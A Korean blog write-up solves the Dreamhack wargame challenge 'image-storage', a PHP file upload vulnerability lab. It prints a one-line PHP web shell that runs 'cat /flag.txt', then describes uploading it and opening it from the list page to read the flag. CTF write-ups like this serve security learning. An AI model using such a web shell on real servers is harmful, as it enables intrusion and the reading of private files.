Wargame/Web

[Dreamhack] image-storage

월루이 2022. 6. 13. 08:50

 


문제

https://dreamhack.io/wargame/challenges/38/

 

image-storage

php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

 

 

 

 

 


풀이

 

File upload 문제이다.

문제에서 flag.txt를 읽어보라 했으니

cat 명령어를 이용한 웹셀을 올려보자.

 

<? php system('cat /flag.txt'); 
?>

 

 

 

 

웹셀을 upload 페이지에 올리고, list 페이지에서 올린 웹셀을 확인하여

읽어보면 아래와 같이 flag를 알 수 있다.